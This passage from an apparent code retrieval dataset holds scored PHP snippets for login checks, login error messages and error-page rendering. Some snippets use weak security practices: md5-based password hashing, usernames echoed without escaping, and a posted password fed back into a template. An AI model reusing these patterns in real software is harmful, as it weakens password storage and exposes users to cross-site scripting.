\"Could not update you profile at this time.\";\r\n\t\t$this->load->view('template/header', $data);\r\n\t\t$this->load->view('template/navigation');\r\n\t\t$this->load->view('template/leftNavigation');\r\n\t\t$this->load->view('profile/err_view', $data);\r\n\t\t$this->load->view('template/footer');\r\n\t}", "title": "" }, { "docid": "cdb73192124fa79b004a983494a130e6", "score": "0.63221145", "text": "public function valid_login(){\n\t\t$this->model('LoginModel');\n\t\t$email = $_POST['email'];\n\t\t$password = $_POST['password'];\n\t\t$valid = $this->model->validLogin($email,$password);\n\t\tif($valid){\n\t\t\theader(\"Location: /workout/\");\n\t\t} else {\n\t\t\t$this->view('login'.'/'.'index.php',[$valid]);\n\t\t\t$this->view->render();\t\n\t\t}\n\t}", "title": "" }, { "docid": "047e94e85ed7c46421239857a60c68eb", "score": "0.6310489", "text": "function showLogin()\n {\n // Is the user logged in?\n if (isset($_SESSION[\"loginUsername\"]))\n $this->setVariable(\"LOGIN_STATUS\", \n \"You are currently logged in as {$_SESSION[\"loginUsername\"]}\");\n else\n $this->setVariable(\"LOGIN_STATUS\", \n \"You are currently not logged in\");\n }", "title": "" }, { "docid": "e1ee9d2bba0860b4dacd91b7235f1908", "score": "0.6308618", "text": "private function _validate_login() {\n\t\t$this->load->model('User', 'user');\n\n\t\t// Check if the credentials are correct\n\t\t$user_id = $this->user->validate(\n\t\t\t$this->input->post('username'),\n\t\t\t$this->input->post('password')\n\t\t);\n\n\t\t// Post some error, and quit\n\t\tif ($user_id === FALSE) {\n\t\t\tadd_error('no_user', 'There is no user with that password.');\n\t\t\t$this->_show_login();\n\t\t\treturn;\n\t\t}\n\n\t\t$this->_login($user_id);\n\t}", "title": "" }, { "docid": "757dbeef20cfbc1325f15dbe51fe1fd0", "score": "0.62933844", "text": "public function error_validation_session_check()\n{\n\tif(!isset($_SESSION['user_login']))\n\t{\n\t\t\tredirect('Home','refresh');\n\t}\n}", "title": "" }, { "docid": "e78907f77598bec85ba1a8c217a819d7", "score": "0.6275634", "text": "private function handleLoginFormRequest() {\r\n if (isset($_SESSION['member_id'])) {\r\n //we use 'authorised' keyword to identify if the user hasn't logged in\r\n //if the keyword has been set, simply redirect user to index admin page\r\n //header(\"Location: moviezoneClick()\");\r\n die(); //and terminate\r\n }\r\n //otherwise, show the below login page\r\n\r\n print file_get_contents('html/login_form.html');\r\n }", "title": "" }, { "docid": "fdd12d5afe20f583511cc45035cfcfa9", "score": "0.62723565", "text": "private function loginFailed()\n {\n return redirect()\n ->back()\n ->withInput()\n ->with('error','E-mail ou senha estão incorretos, verifique e tente novamente.');\n\n }", "title": "" }, { "docid": "d8b2d159eeab8befa880bd17666d772a", "score": "0.6269177", "text": "function bad_login()\n\t{\n\t}", "title": "" }, { "docid": "7fd98645763fedf75d7b697285ce42f5", "score": "0.6262462", "text": "protected function checkLogin() {\r\n if (!$this->user->isLoggedInAdmin()) {\r\n $this->response->setRedirect('admin/login');\r\n exit();\r\n }\r\n }", "title": "" }, { "docid": "3ed4146a0f391f1ad02178545795ec74", "score": "0.626163", "text": "protected function showLogin()\n {\n $loginTemplatePath = CmsConstants::LOGIN_TEMPLATE_PATH;\n $this->renderTemplate($loginTemplatePath);\n ob_end_flush();\n exit;\n }", "title": "" }, { "docid": "d25e504aa3045a66df49d24ca06a6ef8", "score": "0.6260272", "text": "public static function errorPage() {\n\n $smarty = Utils::smartyInit();\n $smarty->display('error.html');\n exit;\n }", "title": "" }, { "docid": "517578db9cff9a6162f0334b98ba0d24", "score": "0.62510306", "text": "function login_error_override() {\n return 'Incorrect login details.';\n}", "title": "" }, { "docid": "ebf449501580fddb06747404175ad6ff", "score": "0.62445074", "text": "public function loginAction() {\n\t\t$request = $this->getRequest();\n\t\t$session = $request->getSession();\n\n\t\t// catch any login errors\n\n\t\tif ($request->attributes->has(SecurityContext::AUTHENTICATION_ERROR)) {\n\n\t\t\t$error = $request->attributes->get(SecurityContext::AUTHENTICATION_ERROR);\n\n\t\t} else {\n\n\t\t\t$error = $session->get(SecurityContext::AUTHENTICATION_ERROR); // should have nothing but we need the variable anyway\n\t\t\t$session->remove(SecurityContext::AUTHENTICATION_ERROR);\n\t\t}\n\n\t\treturn $this->render('IpzenAppBundle:Security:login.html.twig', \n\t\t\tarray('last_username' => $session->get(SecurityContext::LAST_USERNAME),\n\t\t\t\t'error' => $error));\n\t}", "title": "" }, { "docid": "48023483bd1219d6bbf8fa3febd77c70", "score": "0.6235982", "text": "private function show_http_login () {\n header('WWW-Authenticate: Basic realm=\"phpIPAM authentication\"');\n header('HTTP/1.0 401 Unauthorized');\n echo 'Authentication failed';\n exit;\n }", "title": "" }, { "docid": "72f51b71f4a6a8a74e94d897fe1a144e", "score": "0.6233845", "text": "public function post_checkUser() {\n //check if the user credentials are correct\n if ($userId = AuxWelcome::loginUser()) {\n //if they are login the user\n $this->login($userId);\n } else {\n //if not print an error message\n echo '<script>alert(\"Sorry, wrong user and/or password\");</script>';\n Response::redirect('/#toregister', 'refresh');\n }\n }", "title": "" }, { "docid": "8299f128ab729f4f6fa3b84e593aaf35", "score": "0.62294394", "text": "public function loggedin_required () {\n\t\tif (!$this->is_loggedin()) {\n\t\t\tflash_error('Access denied!');\n\t\t\tredirect('');\n\t\t}\t\n }", "title": "" }, { "docid": "3f529832fe4475ccb1cd7a4457f441f6", "score": "0.6225185", "text": "public function loginAction()\n\t{\n\t\t$authenticationUtils = $this->get('security.authentication_utils');\n\t\t//var error para que manejar el metodo de errores\n\t\t$error = $authenticationUtils->getLastAuthenticationError();\n\n\t\t//si se autentificado el usuario de manera erronea, esta var recuperara el user\n\t\t$lastUsername = $authenticationUtils->getLastUsername();\n\n\t\t//devolver la vista de login \n\t\treturn $this->render('RANHUserBundle:Security:login.html.twig', array('last_username'=>$lastUsername, 'error'=>$error));\n\t}", "title": "" }, { "docid": "97bac1aba749da5527bb56fbd5d75548", "score": "0.6221034", "text": "public function error()\n {\n //init data\n $data = [\n ];\n //load view\n $this->view('users/error', $data);\n }", "title": "" }, { "docid": "b395bd959f6877e31fb7e146b11f8194", "score": "0.6220368", "text": "public function loginAction()\n {\n $user = $this->get('security.context');\n if ($user->isGranted('ROLE_RECRUITER') || $user->isGranted('ROLE_ADMIN') || $user->isGranted('ROLE_STUDENT'))\n {\n return $this->redirect($this->generateUrl('home'));\n }\n \n $request = $this->getRequest();\n $session = $request->getSession();\n\n if ($request->attributes->has(SecurityContext::AUTHENTICATION_ERROR))\n {\n $error = $request->attributes->get(SecurityContext::AUTHENTICATION_ERROR);\n }\n else\n {\n $error = $session->get(SecurityContext::AUTHENTICATION_ERROR);\n }\n\n return $this->render('PaymentSecurityBundle:Security:login.html.twig', array('last_username' => $session->get(SecurityContext::LAST_USERNAME), 'error' => $error));\n }", "title": "" }, { "docid": "d54e136886262151ec41041eb7b24b9c", "score": "0.6217788", "text": "public function logIn() {\n //Reset Error.\n $this->__error = false;\n try {\n // Log the user in\n \\Sentry::login($this->__user, false);\n } catch (\\Cartalyst\\Sentry\\Users\\LoginRequiredException $e) {\n $this->__error = 'Login field is required.';\n } catch (\\Cartalyst\\Sentry\\Users\\UserNotFoundException $e) {\n $this->__error = 'User not found.';\n } catch (\\Cartalyst\\Sentry\\Users\\UserNotActivatedException $e) {\n $this->__error = 'User not activated.';\n } catch (\\Cartalyst\\Sentry\\Throttling\\UserSuspendedException $e) {\n $throttle = Sentry::findThrottlerByUserId($this->__user->id);\n $time = $throttle->getSuspensionTime();\n $this->__error = \"User is suspended for [$time] minutes.\";\n } catch (\\Cartalyst\\Sentry\\Throttling\\UserBannedException $e) {\n $this->__error = 'User is banned.';\n }\n if ($this->__error !== false) {\n Session::flash('danger', $this->__error);\n return false;\n } else {\n Session::flash('success', 'You have been logged in!');\n }\n }", "title": "" }, { "docid": "b4a77b5193e9c7afb41591abbf0e2486", "score": "0.6210448", "text": "function check_valid_user() {\n if (isset($_SESSION['valid_user'])) {\n echo \"Logged in as \".$_SESSION['valid_user'].\".<br>\";\n } else {\n // they are not logged in\n do_html_header('Problem:');\n echo 'You are not logged in.<br>';\n do_html_url('login.php', 'Login');\n do_html_footer();\n exit;\n }\n}", "title": "" }, { "docid": "611fcbc0367e191a3339a011a1b801d7", "score": "0.62080395", "text": "public function login()\n\t{\n\t\t$error = Session::get('error');\n\t\treturn View::make('usuarios.login')->with('error', $error);\n\t}", "title": "" }, { "docid": "5fa0b1dd646b47b78fa3e49692fd764f", "score": "0.6206104", "text": "public function loginCheck()\n\t{\n\t\t$userName = $this->input->post('userName', TRUE);\n\t\t$pass = $this->do_hash( $this->input->post('userPass') );\n\t\t$feedBack = $this->usersModel->loginCredential($userName, $pass);\n\t\tif( $feedBack )\n\t\t{\n\t\t\tredirect('dashboard', 'refresh');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->session->set_flashdata('authError', 'username or password is invalid!');\n\t\t\tredirect('admin', 'refresh');\n\t\t}\n\t}", "title": "" }, { "docid": "9ce8f0ac1b19f904e218be8ff4e652bc", "score": "0.62054646", "text": "public function error(){\r\n\t\t\trequire_once('view/pages/error.php');\r\n\t\t}", "title": "" }, { "docid": "12573d351070bf0146f34ad4e898b617", "score": "0.6192091", "text": "public function login()\n {\n require_once'model/validation.php';\n $errors= validateLogin();\n if(count($errors) === 0 ){\n $data = new DataLayer();\n $check = $data->authenticate();\n if($check===$_POST['email']){\n $_SESSION['loggedIn'] = true;\n $_SESSION['email'] = $_POST['email'];\n $this->_f3->reroute('/homepage');\n } else {\n $errors['email/password'] = \"Email/Password is invalid\";\n $this->landingError($errors);\n }\n } else {\n $this->landingError($errors);\n }\n }", "title": "" }, { "docid": "fb996e337ebca7d2e810a49173141015", "score": "0.6187719", "text": "function check_valid_user() {\n\t\n\t//see if logged in; otherwise, notify them\n\t\n\tif(isset($_SESSION['valid_user'])) {\n\t\t\n\t\techo \"Logged in as \".$_SESSION['valid_user'].\".<br>\";\n\t} else {\n\t\t\n\t\t//They aren't logged in\n\t\tdo_html_heading('Problem:');\n\t\t\n\t\techo \"You are not logged in.<br>\";\n\t\t\n\t\tdo_html_url('https://unsecure.website/login.php', 'Login');\n\t\t\n\t\tdo_html_footer();\n\t\texit;\n\t}\n}", "title": "" }, { "docid": "e39d6b6e51e292b6942f4032d17c2e31", "score": "0.61830604", "text": "protected function outputIpError()\n\t{\n\t\t$this->outputError('login_err1');\n\t}", "title": "" }, { "docid": "680017b9e4991d6fdc4de4916fb01d50", "score": "0.6182632", "text": "protected function getFailedLoginMessage()\n {\n return \"Username or Password doesn't match\";\n }", "title": "" }, { "docid": "31ddfcc471e442ad3048be3cbd031831", "score": "0.6177623", "text": "public function showFailure($failure)\n {\n parent::showFailure($failure);\n $conn_error = $GLOBALS['dbi']->getError();\n if (!$conn_error) {\n $conn_error = __('Cannot connect: invalid settings.');\n }\n\n /* HTML header */\n $response = Response::getInstance();\n $response->getFooter()\n ->setMinimal();\n $header = $response->getHeader();\n $header->setBodyId('loginform');\n $header->setTitle(__('Access denied!'));\n $header->disableMenuAndConsole();\n echo '<br /><br />\n <center>\n <h1>';\n echo sprintf(__('Welcome to %s'), ' phpMyAdmin ');\n echo '</h1>\n </center>\n <br />\n <table cellpadding=\"0\" cellspacing=\"3\" class= \"auth_config_tbl\" width=\"80%\">\n <tr>\n <td>';\n if (isset($GLOBALS['allowDeny_forbidden'])\n && $GLOBALS['allowDeny_forbidden']\n ) {\n trigger_error(__('Access denied!'), E_USER_NOTICE);\n } else {\n // Check whether user has configured something\n if ($GLOBALS['PMA_Config']->source_mtime == 0) {\n echo '<p>' , sprintf(\n __(\n 'You probably did not create a configuration file.'\n . ' You might want to use the %1$ssetup script%2$s to'\n . ' create one.'\n ),\n '<a href=\"setup/\">',\n '</a>'\n ) , '</p>' , \"\\n\";\n } elseif (!isset($GLOBALS['errno'])\n || (isset($GLOBALS['errno']) && $GLOBALS['errno'] != 2002)\n && $GLOBALS['errno'] != 2003\n ) {\n // if we display the \"Server not responding\" error, do not confuse\n // users by telling them they have a settings problem\n // (note: it's true that they could have a badly typed host name,\n // but anyway the current message tells that the server\n // rejected the connection, which is not really what happened)\n // 2002 is the error given by mysqli\n // 2003 is the error given by mysql\n trigger_error(\n __(\n 'phpMyAdmin tried to connect to the MySQL server, and the'\n . ' server rejected the connection. You should check the'\n . ' host, username and password in your configuration and'\n . ' make sure that they correspond to the information given'\n . ' by the administrator of the MySQL server.'\n ),\n E_USER_WARNING\n );\n }\n echo Util::mysqlDie(\n $conn_error,\n '',\n true,\n '',\n false\n );\n }\n $GLOBALS['error_handler']->dispUserErrors();\n echo '</td>\n </tr>\n <tr>\n <td>' , \"\\n\";\n echo '<a href=\"'\n , Util::getScriptNameForOption(\n $GLOBALS['cfg']['DefaultTabServer'],\n 'server'\n )\n , Url::getCommon() , '\" class=\"button disableAjax\">'\n , __('Retry to connect')\n , '</a>' , \"\\n\";\n echo '</td>\n </tr>' , \"\\n\";\n if (count($GLOBALS['cfg']['Servers']) > 1) {\n // offer a chance to login to other servers if the current one failed\n echo '<tr>' , \"\\n\";\n echo ' <td>' , \"\\n\";\n echo Select::render(true, true);\n echo ' </td>' , \"\\n\";\n echo '</tr>' , \"\\n\";\n }\n echo '</table>' , \"\\n\";\n if (!defined('TESTSUITE')) {\n exit;\n }\n }", "title": "" }, { "docid": "6cbc4e49218e0b79d91639bdcbe12a76", "score": "0.61738014", "text": "private function login()\n {\n\n View::show(\"views\", \"showFormLogin\");\n }", "title": "" }, { "docid": "86454a2554c038ece0a9d635133b3c91", "score": "0.61696595", "text": "function DatabaseErrorScreen(){ //Displays on invalid login screen.\n echo \"\n <head>\n <title>Database Not Created</title>\n <link href=./style.css rel='stylesheet' type='text/css'>\n </head>\n \n <body>\n\t <div id=videoWrapper>\n\t\t <video autoplay=true id=film loop=true style=z-index:8;><source src=./typing.webm type=video/webm></video>\n\t </div>\n \n <div id=loginwrapper>\n <div id='login'>\n <b>The database hasn't been created yet! Go back, and choose 'Yes' on the login screen.</b><br /><br />\n <a href=./index.html>Click Here to Retry</a>\n </div>\n\t </div>\n </body>\";\n \n session_unset();\n session_destroy();\n }", "title": "" }, { "docid": "6cab736a4880ea9479d38741a36106fd", "score": "0.616866", "text": "public static function UserNotLoggedInAction() {\n\t\theader('Location: ' . Config::LOGIN_PAGE_URL);\n\t\tdie(); // DO NOT REMOVE THIS. The request must end here.\n\t}", "title": "" }, { "docid": "f51316932fb1a3c09ff6d3f935a8fca8", "score": "0.6167127", "text": "function login_pw() {\r\n\tif (isset ( $_GET ['error'] )) {\r\n\t\techo '<br /><span class=\"help-inline\">Please check your password.</span>';\r\n\t}\r\n}", "title": "" }, { "docid": "6221904a1e2fbe6fcf69c4fba4d573a1", "score": "0.6161516", "text": "public function landingError($errors)\n {\n $this->_f3->set('cssLink', 'landing.css');\n $this->_f3->set('valid', 'validateSignup.js');\n $this->_f3->set('formLink', '//cdnjs.cloudflare.com/ajax/libs/bootstrap-material-design/0.2.1/css/material.min.css');\n $this->_f3->set('errors', $errors);\n $this->_f3->set('email', $_POST['email']);\n $this->_f3->set('password', $_POST['password']);\n\n echo Template::instance()->render('view/login/landing.php');\n }", "title": "" }, { "docid": "89a41a4fd0c1d9a0b857a8c860c3b4d0", "score": "0.6150488", "text": "function askLogin()\n{\n\t$requestUrl\t=\tstr_replace('/alisoncms/','',$_SERVER['REQUEST_URI']);\n\t$sessionErrorFlag\t=\t0;\n\tif(!isset($_SESSION[\"id\"]))\n\t{\n\t\t$sessionErrorFlag\t=\t1;\n\t}else\n\t{\n\t\tif($_SESSION[\"id\"]=='' || $_SESSION[\"id\"]==NULL)\n\t\t{\n\t\t\t$sessionErrorFlag\t=\t1;\t\t\n\t\t}\n\t}\n\tif($sessionErrorFlag\t==\t1)\n\t{\n\t\techo \"<script> window.location.href='\".WEBSITE_URL.\"theme.php?go=signin&requestUrl=\".$requestUrl.\"'</script>\";\n\t\texit;\n\t}\n\t\n}", "title": "" }, { "docid": "55df67318744db27e7a51d5c6f0fadf0", "score": "0.6148132", "text": "public function login()\r\n {\r\n session_unset();\r\n\r\n if($_SERVER['REQUEST_METHOD'] == 'POST')\r\n {\r\n global $validator;\r\n\r\n //validate email\r\n if(empty($_POST['loginEmail']))\r\n {\r\n $this->_f3->set('errors[\"loginEmail\"]', \"Required field\");\r\n }\r\n else if(!$validator->validEmail($_POST['loginEmail']))\r\n {\r\n $this->_f3->set('errors[\"loginEmail\"]', \"Please enter a valid email address\");\r\n }\r\n else if(!$GLOBALS['db']->isTutor($_POST['loginEmail']))\r\n {\r\n $this->_f3->set('errors[\"loginEmail\"]', \"Access denied\");\r\n }\r\n else //good email\r\n {\r\n //validate password\r\n if(empty($_POST['password']))\r\n {\r\n $this->_f3->set('errors[\"password\"]', \"Required field\");\r\n }\r\n else if(!$validator->validPassword($_POST['password']))\r\n {\r\n $this->_f3->set('errors[\"password\"]', \"Incorrect password\");\r\n }\r\n }\r\n\r\n //if valid data\r\n if(empty($this->_f3->get('errors')))\r\n {\r\n $this->_f3->reroute('search');\r\n }\r\n\r\n //store variables in f3 hive to make form sticky\r\n $this->_f3->set('loginEmail', $_POST['loginEmail']);\r\n }\r\n\r\n $view = new Template();\r\n echo $view->render('views/login.html');\r\n\r\n }", "title": "" }, { "docid": "63a74f6921f4ebed6b7b3e96702507a4", "score": "0.6145674", "text": "private static function error($msg) {\r\n if (is_user_logged_in()) {\r\n return $msg;\r\n }\r\n return '';\r\n }", "title": "" }, { "docid": "630fda7e2ab5e75ee0ecaa00f9716aea", "score": "0.61438495", "text": "function showWarning(){\n\t\tHTMLHeader(\"OOPs?!\", \"../login.css\", \"\");\n\t\t?>\n\t\t\t<h1 style=\"text-align: center; color: red;\">OOPS?! Something is wrong. Try to return to last page or restart a new ticket.</h1>\n\t\t<?php\n\t\tHTMLFooter();\n\t}", "title": "" }, { "docid": "2b72040de447470477b2830b4acf43b4", "score": "0.61427003", "text": "public function loginAction()\n {\n if ($this->checkLoginData($_POST['email'], $_POST['password'])) {\n $this->session->set('email', $_POST['email']);\n $this->templater->show($this->controllName, 'LoginSuccess', ['email' => $this->session->get('email')]);\n } else {\n echo 'Oops something wrong';\n }\n }", "title": "" }, { "docid": "7564ba42c849db177d3d9283d0821bcf", "score": "0.61420804", "text": "function write_form_error_page($msg) \n\t{\n\t\twrite_header();\n\t\techo \"<h2>Sorry! The below error(s) occurred.</h2><br /><h3><br />\",$msg,\"</h3><br />\";\n\t\techo \"<h2>Please try again.Click <a href='register.html'>here</a> to go back to the Registration page.</h2>\";\n\t\twrite_footer();\n }", "title": "" }, { "docid": "15aec846a7a05dfc9a1cdb7f40f5dc55", "score": "0.6132403", "text": "function LoginCheck(){\n if(isset($_SESSION['username']) && isset($_SESSION['user_id'])){\n echo('<p style=\"color: green\">Logged in as '.htmlentities($_SESSION['username']).'</p>');\n }\n else{echo('<p style=\"color: red\">Not logged in</p>');}\n }", "title": "" }, { "docid": "4616c37d5b221ebb4fe4c705252dd5ad", "score": "0.6129354", "text": "public function guestOnly() {\n\n\t\tif(!empty($_SESSION['jigowatt']['username'])) {\n\t\t\t$this->error =\t\"\n\t\t\t\t\t\t\t<div class='alert alert-error'>\"._('You\\'re already logged in.').\"</div>\n\t\t\t\t\t\t\t<h5>\"._('What to do now?').\"</h5>\n\t\t\t\t\t\t\t<p>\" . sprintf(_('Go <a href=\"%s\">back</a> to the page you were viewing before this.'), 'javascript:history.go(-1)') . \"</p>\n\t\t\t\t\t\t\t\";\n\t\t}\n\n\t\t$this->displayMessage($this->error);\n\n\t}", "title": "" }, { "docid": "5159471dfc98119a319e134f2e856da4", "score": "0.6128118", "text": "public function checkAuthentication(){\n\t\t\n\t\t// if user is not logged in\n\t\tif (!Session::userIsLoggedIn()) {\n\t\t\t// ... then treat user as \"not logged in\", destroy session, redirect to login page\n\t\t\tSession::destroy();\n\t\t\t// send the user to the login form page, but also add the current page's URI (the part after the base URL)\n\t\t\t// as a parameter argument, making it possible to send the user back to where he/she came from after a\n\t\t\t// successful login\n\t\n\t\t\t$this->redirect($this->config('app.baseurl') . '/login?redirect=' . urlencode($_SERVER['REQUEST_URI']));\n\t\t\t// in ambiente Slim, in alterantiva a $_SERVER['REQUEST_URI'] forse si potrebbe uare $this->request->getPath();\n\t\n\t\t\t// to prevent fetching views via cURL (which \"ignores\" the header-redirect above) we leave the application\n\t\t\t// the hard way, via exit(). @see https://github.com/panique/php-login/issues/453\n\t\t\t// this is not optimal and will be fixed in future releases\n\t\t\texit();\n\t\t}\n\t}", "title": "" }, { "docid": "6e2c4eadc0e5a95fc3238142f8effa8f", "score": "0.612624", "text": "public function login_messages()\n\t{\n\n\t\t// Add message\n\t\t$message = apply_filters( 'password_protected_login_message', '' );\n\t\tif ( ! empty( $message ) ) {\n\t\t\techo $message . \"\\n\";\n\t\t}\n\n\t\tif ( $this->errors->get_error_code() )\n\t\t{\n\n\t\t\t$errors = '';\n\t\t\t$messages = '';\n\n\t\t\tforeach ( $this->errors->get_error_codes() as $code )\n\t\t\t{\n\t\t\t\t$severity = $this->errors->get_error_data( $code );\n\t\t\t\tforeach ( $this->errors->get_error_messages( $code ) as $error )\n\t\t\t\t{\n\t\t\t\t\tif ( 'message' == $severity ) {\n\t\t\t\t\t\t$messages .= '\t' . $error . \"<br />\\n\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$errors .= '\t' . $error . \"<br />\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( ! empty( $errors ) )\n\t\t\t{\n\t\t\t\techo '<div id=\"login_error\">' . apply_filters( 'password_protected_login_errors', $errors ) . \"</div>\\n\";\n\t\t\t}\n\t\t\tif ( ! empty( $messages ) )\n\t\t\t{\n\t\t\t\techo '<p class=\"message\">' . apply_filters( 'password_protected_login_messages', $messages ) . \"</p>\\n\";\n\t\t\t}\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "08f70ea89f779e33a8194d8321537c98", "score": "0.612235", "text": "public function login()\n {\n if (empty($_POST)) {\n return false;\n }\n \n $errors = []; // Container array for errors\n\n // Check if all the values in POST are set\n if (!$_POST[\"username\"]) {\n $errors[\"username\"] = \" is not set.\";\n }\n if (!$_POST[\"password\"]) {\n $errors[\"password\"] = \" is not set.\";\n }\n\n // Send errors to view if there were any\n if ($this->sendErrors($errors)) {\n // Stop the script\n return false;\n }\n }", "title": "" }, { "docid": "d8f567260f20c591dfcac6cbbf9c32b4", "score": "0.6111855", "text": "function login_id() {\r\n\tif (isset ( $_GET ['error'] )) {\r\n\t\techo '<br /><span class=\"help-inline\">Please check your ID. Maybe your e-mail address.</span>';\r\n\t}\r\n\telseif (!isset ( $_GET ['error'] )) {\r\n\t\techo '<br /><span class=\"help-inline\">Maybe your e-mail address.</span>';\r\n\t}\r\n}", "title": "" }, { "docid": "c1a07832559d70cab3511085d38a7a18", "score": "0.610111", "text": "public function index()\n\t{\n\t\t$data['error'] = null;\n\t\t$this->load->view('common/login', $data);\n\t\t\n\t\t//$this->check();\n\t}", "title": "" }, { "docid": "518e87344bbef47d5a325ea932dda38d", "score": "0.61001796", "text": "public function index() {\n\t\tif($_SERVER['REQUEST_METHOD'] == 'POST') {\n\t\t\t// Try to login with posted credentials\n\t\t\tif($this->Auth->login()) {\n\t\t\t\t// Rederict to logged in page\n\t\t\t} else {\n\t\t\t\t// Show error message\n\t\t\t\t$this->Session->setFlash('Invalid credentials');\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->render('login');\n\t}", "title": "" }, { "docid": "716624cc790acc2d7963123f85c826a9", "score": "0.6099443", "text": "function get_error($nerr) {\n $messages = array(\n 1 => 'Insert all the fields.',\n 2 => 'Already logged in.',\n 3 => 'You cant do such operation (missing permission).',\n 4 => '.',\n 5 => 'Uknown error'\n );\n if (int($nerr) > 4 || int($nerr) < 1) {\n $nerr = 5;\n }\n $content = '\n <div class=\"alert alert-warning\" role=\"alert\">' .\n $messages[int($nerr)] .\n '<br>In a few seconds you will be redirected to home. If you are in a hurry <a href=\"./index.php\" class=\"alert-link\">just click here!</a>\n </div>\n <meta http-equiv=\\'refresh\\' content=\\'7; url=./index.php\\' />\n';\n render_page($content, \"\"); // TODO: eventually add a side_content\n}", "title": "" }, { "docid": "6752a8068b190d49f8df51137bb341b0", "score": "0.6096692", "text": "function loginError($error){\n\t\t$this->invalid_credentials = ($error == 49);\n\t\tif(empty($error)) return false;\n\t\t$errorstr = ldap_err2str($error);\n\t\t// BEGIN SUGAR INT\n\t\t$_SESSION['login_error'] = $errorstr;\n\t\t/*\n\t\t// END SUGAR INT\n\t\t$GLOBALS['login_error'] = translate('LBL_LDAP_ERROR', 'Users');\n\t\t// BEGIN SUGAR INT\n\t\t*/\n\t\t// END SUGAR INT\n\t\t$GLOBALS['log']->fatal('[LDAP ERROR]['. $error . ']'.$errorstr);\n\t\treturn true;\n\t}", "title": "" }, { "docid": "ef433b314d13e90989393a171f2e7c3a", "score": "0.6092364", "text": "public function validateLogin()\n \t{\n\t \tif(!isset($this->session->userdata['sessiondata']['user_id'])){\n \t\t\tredirect(\"/Answerme\");\n\t \t}\n \t}", "title": "" }, { "docid": "86265832a02959d93eb42e114d1faa8c", "score": "0.60904205", "text": "private function handleIfUserNotLogin(){\n $user = $this->session->userdata('ACCOUNT');\n if (!$user) {\n header('Location: '.base_url().'index.php/pages/login');\n exit(0);\n }\n }", "title": "" }, { "docid": "53335ff8df14e43ef10787ada201ba06", "score": "0.6087235", "text": "function login_error_hl() {\r\n\tif (isset ( $_GET ['error'] )) {\r\n\t\techo ' error';\r\n\t}\r\n}", "title": "" }, { "docid": "592c46c67fdc65c03f3af3206391cf0b", "score": "0.6084276", "text": "public function login($errorMsg)\n {\n require_once __DIR__ . '/../View/loginpage.php';\n }", "title": "" }, { "docid": "4111a27b6e6d8c02e7d4375da4beae9f", "score": "0.6073787", "text": "private function renderError()\n\t\t{\n\t\t\tinclude(\"\\\\views\\\\fatalError.php\");\n\t\t\texit;\n\t\t}", "title": "" }, { "docid": "cb35ccf6454021919fa9455223c206b1", "score": "0.6071643", "text": "public function loginAction()\n {\n if ($this->session->has('user')) {\n $this->view->disable();\n $this->response->redirect('/');\n return;\n }\n\n Tag::prependTitle('Login');\n\n if ($this->request->isPost()) {\n $validator = new LoginValidation();\n $errorMessages = $validator->validate($this->request->getPost());\n if (!count($errorMessages)) {\n $user = Users::findFirst(\n [\n 'conditions' => 'email = ?0',\n 'bind' => [\n $this->request->getPost('email')\n ]\n ]\n );\n\n if ($user) {\n if ($this->security->checkHash($this->request->getPost('password'), $user->password)) {\n $this->loginUser($user);\n $this->redirect('/');\n return;\n } else {\n $errorMessages->appendMessage(new Message('The passwords do not match.'));\n }\n } else {\n $errorMessages->appendMessage(new Message('This email address is not registred.'));\n }\n }\n $this->view->email = $this->request->getPost('email');\n $this->view->errorMessages = $errorMessages;\n }\n }", "title": "" }, { "docid": "22d5dd8fb6235b6a5f26ec0a0669a22f", "score": "0.60670334", "text": "public function loginCheckAction()\n {\n throw new Exception('This should never be reached!');\n }", "title": "" }, { "docid": "5b6f18ace10f7464e5393e0aadc99582", "score": "0.6063589", "text": "function login()\n\t{\n\t \n\t $this->load->library('form_validation');\n\t \n\t $this->form_validation->set_rules('username', 'Username', 'trim|required');\n\t $this->form_validation->set_rules('password', 'Password', 'trim|required|callback_check_database');\n\t \n\t if($this->form_validation->run() == FALSE)\n\t {\n\t\t\n\t $this->output->set_template('blank',1);\t\t\n\t $this->load->view('themes/admin/login');\n\t }\n\t else\n\t {\n\t\t //Go to private area\n\t\t redirect('admin/home', 'refresh');\n\t }\t\n\t}", "title": "" }, { "docid": "c33cfc0d215a6d5492c5a19d7f07492b", "score": "0.6050513", "text": "public function login() {\r\n\r\n if ($_SERVER['REQUEST_METHOD'] == 'POST' and !empty($_POST)) {\r\n require_once './core/validator.php';\r\n $validator = Validator::getInstance();\r\n\r\n $validator->addRules('email', 'required|email')\r\n ->addRules('password', 'required');\r\n\r\n if ($validator->run()) {\r\n\r\n $email = strtolower($_POST['email']);\r\n $password = md5($_POST['password'] . $email);\r\n $this->model->init();\r\n if (($user = $this->model->authentificate($email, $password)) != FALSE) {\r\n\r\n if ($user['state'] == 1) {\r\n\r\n $user['roles'] = json_decode($user['roles']);\r\n\r\n $this->session->startUserSession($user);\r\n\r\n $this->model->close();\r\n $this->redirect('/dashboard');\r\n \r\n } elseif ($user['state'] == 0) {\r\n $validator->addCustomError('credentials', 'Accèder à votre boîte mail pour activer ce compte');\r\n \r\n } elseif ($user['state'] >= 2) {\r\n $validator->addCustomError('credentials', 'Ce compte n\\'est plus autorisé à se connecter');\r\n \r\n }\r\n } else {\r\n $validator->addCustomError('credentials', 'Identifiants incorrects');\r\n }\r\n }\r\n }\r\n\r\n $this->twig->display('user/login.html.twig');\r\n\r\n $this->model->close();\r\n }", "title": "" }, { "docid": "5441edf4ebc8eb441630fef3f6673777", "score": "0.60491335", "text": "public function auth_user_cannot_see_the_login_form()\n {\n $this\n ->actingAs($this->user)\n ->get(RouteServiceProvider::LOGIN_ROUTE)\n ->assertRedirect(RouteServiceProvider::ALREADY_AUTHENTICATED_MIDDLEWARE_ROUTE);\n }", "title": "" }, { "docid": "7b34c0f08ae4c39f394f1b5714788ea9", "score": "0.6044651", "text": "public function actionLogin()\n\t{\n\t\t$this->render('login');\n\t}", "title": "" }, { "docid": "31214c41f2c5c1cea5356daeab4c6d59", "score": "0.6038913", "text": "function user_login()\n \t{\n global $database, $datetime;\n\t \t$this->PGUser(0, $_POST['username']);\n\n\t \t// SHOW ERROR IF JAVASCRIPT IS DIABLED\n\t \tif( isset($_POST['javascript']) && $_POST['javascript'] == \"no\" )\n \t{\n\t 